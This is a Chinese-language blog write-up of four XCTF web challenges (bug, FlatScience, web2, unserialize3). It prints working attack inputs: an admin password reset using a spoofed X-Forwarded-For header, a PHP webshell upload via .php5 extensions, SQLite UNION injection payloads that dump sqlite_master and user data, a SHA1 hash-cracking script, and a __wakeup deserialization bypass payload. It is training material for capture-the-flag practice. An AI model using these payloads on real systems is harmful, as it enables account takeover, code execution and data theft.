web攻防世界3

1.bug

题目提示注册,随便输个登录进去

点到manage界面提示不是管理员,

浏览几个选项感觉只有这个修改密码可以操作操作了,抓包修改密码界面,把这里的用户改成admin试试,提示密码小于六位,改一改

这里还需要伪造ip,即用x-forwarded-for即可

 修改成功,用admin登录,即能访问刚才的那个菜单,

猜测文件上传,传个马,

需要绕过,师傅们在这里上传了图片,改了内容,

并且这里后缀可使用.php4,.php5绕过,

加入

<script language='php'>system('ls')</script>

放包得到flag。

 

但现在这种<script language='php'>php表示方法好像已经灭绝了要...

2.FlatScience

 不晓得是什么东西,随便点点,这是什么论文啥玩意的吧...

输入几个常见后台发现,login.php和admin.php有结果,

查看源码发现不让绕过...那就听你的,

发现login源码中有

url跟上?debug得到源码:

发现sql语句

在login中输入注入语句,出现

看了wp说是SQLite数据库的注入,SQLite数据库中有一个叫SQLite_master的表它定义数据库的模式。

抓包,对username进行注入语句

usr=' union select name,sql from sqlite_master--+&pw=

在set-cookie中发现

整理一下,set-cookie就是

CREATE TABLE Users(

id int primary key,

name varchar(255),

password varchar(255),

hint varchar(255)

发现表名和字段

继续用usr进行字段的获取,


usr=%27 UNION SELECT id, id from Users limit 0,1
usr=%27 UNION SELECT id, name from Users limit 0,1
usr=%27 UNION SELECT id, password from Users limit 0,1
usr=%27 UNION SELECT id, hint from Users limit 0,1

可以得到这些数据,

根据hint猜测favword藏在前面看到的pdf里面,需要写个脚本,把里面的词都给提取出来,拼接上”Salz!”然后sha1加密,看看是否跟3fab54a50e770d830c0416df817567662a9dc85c相等。

把PDF都down下来,

附上大爹们的脚本


from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()
 
if __name__ == "__main__":
    find_password()
跑得出flag.

3.web2

打开发现源码

提示还是很有意思的

审计源码:反转字符串->循环字符串长度->从$_0位置开始,返回1个字符->返回字符串首个字母的ASCII值->拼接两个变量的内容 赋值->base64,strrev,rot13

将这个顺序反过来编码,即

 

4.unserialize3

源码:

这里用到了—wakeup()绕过

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。

参考CVE-2016-7124

序列化后值为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传进去即得

关于序列化反序列化参考:

https://www.2cto.com/article/201610/557427.html 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值